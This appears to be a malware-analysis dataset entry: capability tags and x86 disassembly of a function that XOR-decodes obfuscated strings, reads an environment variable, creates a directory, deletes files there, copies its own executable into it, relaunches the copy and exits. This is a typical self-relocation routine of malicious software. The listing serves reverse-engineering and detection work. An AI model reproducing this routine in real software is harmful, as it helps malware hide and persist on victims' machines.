Function at 0x409634
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings
Copy file
Create directory
Create process on windows
Delete file
Encode data using xor
Enumerate files on windows
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1ad4
call fcn.0040dc70
movaps xmm0, xmmword [0x401a90]
push ebx
push esi
movups xmmword [ebp - 0x38], xmm0
xor ebx, ebx
mov esi, ecx
movaps xmm0, xmmword [0x4018f0]
mov eax, ebx
push edi
movups xmmword [ebp - 0x28], xmm0
xor byte [ebp + eax - 0x38], 0x55
inc eax
cmp eax, 0x1f
jb 0x409660
push 0x400
lea eax, [ebp - 0x12d0]
mov byte [ebp - 0x19], bl
push eax
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov dword [ebp - 6], 0x55552e
mov eax, ebx
xor byte [ebp + eax - 6], 0x55
inc eax
cmp eax, 3
jb 0x40968d
lea eax, [ebp - 6]
mov byte [ebp - 3], bl
push eax
lea eax, [ebp - 0x880]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x880]
push eax
call esi
mov dword [ebp - 8], 0x55095528
mov eax, ebx
mov word [ebp - 4], 0x55
xor byte [ebp + eax - 8], 0x55
inc eax
cmp eax, 5
jb 0x4096cb
lea eax, [ebp - 8]
mov byte [ebp - 3], bl
push eax
lea eax, [ebp - 0x880]
push eax
call esi
lea eax, [ebp - 0x880]
lea edx, [ebp - 0x12d0]
push eax
mov ecx, edx
call fcn.00409e1e
lea ecx, [ebp - 0x880]
mov dword [esp], 0x800
call fcn.00406ce6
add esp, 4
lea eax, [ebp - 0x12d0]
mov esi, ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
call ebx
test eax, eax
jle 0x409770
lea eax, [esi + esi]
cmp word [ebp + eax - 0x12d0], 0x5c
jne 0x409762
push eax
lea edx, [ebp - 0x12d0]
lea ecx, [ebp - 0x880]
call fcn.00406d07
pop ecx
lea ecx, [ebp - 0x880]
call fcn.00409d49
test eax, eax
jne 0x409762
push eax
lea eax, [ebp - 0x880]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea eax, [ebp - 0x12d0]
inc esi
push eax
call ebx
cmp esi, eax
jl 0x409724
xor ebx, ebx
mov dword [ebp - 0x14], 0x557b557f
mov dword [ebp - 0x10], 0x552d5530
mov eax, ebx
mov dword [ebp - 0xc], 0x555530
xor byte [ebp + eax - 0x14], 0x55
inc eax
cmp eax, 0xb
jb 0x409789
lea eax, [ebp - 0x14]
mov byte [ebp - 9], bl
push eax
lea edx, [ebp - 0x12d0]
lea ecx, [ebp - 0x1ad0]
call fcn.00409e1e
pop ecx
lea eax, [ebp - 0xad0]
push eax
lea eax, [ebp - 0x1ad0]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x40980f
lea eax, [ebp - 0xaa4]
push eax
lea edx, [ebp - 0x12d0]
lea ecx, [ebp - 0x880]
call fcn.00409e1e
pop ecx
lea eax, [ebp - 0x880]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x40996b
lea eax, [ebp - 0xad0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x4097c8
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov dword [ebp - 0x10], 0x552f5534
mov eax, ebx
mov dword [ebp - 0xc], 0x55550a
xor byte [ebp + eax - 0x10], 0x55
inc eax
cmp eax, 7
jb 0x40981f
movaps xmm0, xmmword [0x401aa0]
mov eax, ebx
movups xmmword [ebp - 0x32], xmm0
mov dword [ebp - 0x22], 0x5530557b
mov dword [ebp - 0x1e], 0x5530552d
mov word [ebp - 0x1a], 0x55
xor byte [ebp + eax - 0x32], 0x55
inc eax
cmp eax, 0x19
jb 0x40984b
mov byte [ebp - 0x19], bl
mov edi, ebx
mov bx, word [ebp - 0xc]
cmp word [ebp - 0x32], bx
jne 0x409894
movzx eax, word [ebp - 0x10]
movzx esi, word [ebp - 0xe]
sub esi, eax
lea eax, [ebp - 0x32]
mov dword [ebp - 8], eax
mov ecx, esi
call fcn.004083a0
add eax, dword [ebp - 0x10]
inc edi
mov ecx, dword [ebp - 8]
mov word [ecx], ax
lea eax, [ebp - 0x32]
lea eax, [eax + edi*2]
mov dword [ebp - 8], eax
cmp word [eax], bx
je 0x409875
lea eax, [ebp - 0x32]
push eax
lea edx, [ebp - 0x12d0]
lea ecx, [ebp - 0x880]
call fcn.00409e1e
pop ecx
mov ecx, 0x10000
call fcn.00406c8e
mov esi, eax
test esi, esi
je 0x40996b
push 0x8000
push esi
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x409964
push ebx
lea eax, [ebp - 0x880]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x409964
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov edi, eax
lea eax, [ebp - 8]
push eax
push edi
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp dword [ebp - 8], 1
jle 0x409914
push dword [eax]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea edi, [edi + eax*2]
add edi, 4
jmp 0x409916
mov edi, ebx
push 0x44
pop ebx
push ebx
lea ecx, [ebp - 0x80]
call fcn.00406ce6
add esp, 4
lea ecx, [ebp - 0x18]
push 0x10
call fcn.00406ce6
add esp, 4
mov dword [ebp - 0x80], ebx
mov eax, ecx
xor ebx, ebx
push eax
lea eax, [ebp - 0x80]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push edi
lea eax, [ebp - 0x880]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x409964
mov ecx, esi
call fcn.00406d33
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, esi
call fcn.00406d33
pop edi
pop esi
pop ebx
leave
ret